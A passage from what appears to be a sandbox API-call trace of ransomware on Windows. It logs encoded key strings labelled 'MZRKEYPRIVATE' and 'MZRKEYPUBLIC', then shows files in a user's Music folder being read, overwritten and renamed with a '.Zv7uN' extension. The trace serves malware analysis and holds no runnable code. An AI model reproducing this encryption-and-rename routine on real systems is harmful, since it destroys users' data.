NFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.791] GetCurrentThreadId () returned 0xa30 [0085.791] GetCurrentThreadId () returned 0xa30 [0085.791] GetCurrentThreadId () returned 0xa30 [0085.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.791] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.792] GetCurrentThreadId () returned 0xa30 [0085.792] GetCurrentThreadId () returned 0xa30 [0085.792] GetCurrentThreadId () returned 0xa30 [0085.792] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NoHfM0yp-zG8Qrlkv.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nohfm0yp-zg8qrlkv.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0085.792] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0085.792] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0085.792] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x8a79 [0085.792] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0085.793] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x8a79, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x8a79, lpOverlapped=0x0) returned 1 [0085.795] CloseHandle (hObject=0x124) returned 1 [0085.796] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NoHfM0yp-zG8Qrlkv.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nohfm0yp-zg8qrlkv.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0085.798] WriteFile (in: hFile=0x124, lpBuffer=0x1efa040*, nNumberOfBytesToWrite=0x8a79, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1efa040*, lpNumberOfBytesWritten=0x18f978*=0x8a79, lpOverlapped=0x0) returned 1 [0085.801] CloseHandle (hObject=0x124) returned 1 [0085.804] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NoHfM0yp-zG8Qrlkv.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nohfm0yp-zg8qrlkv.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\NoHfM0yp-zG8Qrlkv.m4a.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nohfm0yp-zg8qrlkv.m4a.zv7un")) returned 1 [0085.806] GetCurrentThreadId () returned 0xa30 [0085.806] GetCurrentThreadId () returned 0xa30 [0085.806] GetCurrentThreadId () returned 0xa30 [0085.806] GetCurrentThreadId () returned 0xa30 [0085.806] GetCurrentThreadId () returned 0xa30 [0085.807] GetCurrentThreadId () returned 0xa30 [0085.807] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c8fda0, ftCreationTime.dwHighDateTime=0x1d5dc5f, ftLastAccessTime.dwLowDateTime=0xde8ae8d0, ftLastAccessTime.dwHighDateTime=0x1d5df9e, ftLastWriteTime.dwLowDateTime=0xde8ae8d0, ftLastWriteTime.dwHighDateTime=0x1d5df9e, nFileSizeHigh=0x0, nFileSizeLow=0x5fe0, dwReserved0=0x430e0820, dwReserved1=0xba1113e9, cFileName="rWdr_n-a5RwIRREA.mp3", cAlternateFileName="RWDR_N~1.MP3")) returned 1 [0085.807] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.807] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.807] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rWdr_n-a5RwIRREA.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rwdr_n-a5rwirrea.mp3"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c8fda0, ftCreationTime.dwHighDateTime=0x1d5dc5f, ftLastAccessTime.dwLowDateTime=0xde8ae8d0, ftLastAccessTime.dwHighDateTime=0x1d5df9e, ftLastWriteTime.dwLowDateTime=0xde8ae8d0, ftLastWriteTime.dwHighDateTime=0x1d5df9e, nFileSizeHigh=0x0, nFileSizeLow=0x5fe0)) returned 1 [0085.807] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rWdr_n-a5RwIRREA.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rwdr_n-a5rwirrea.mp3")) returned 0x20 [0085.807] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rWdr_n-a5RwIRREA.mp3", dwFileAttributes=0x80) returned 1 [0085.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwo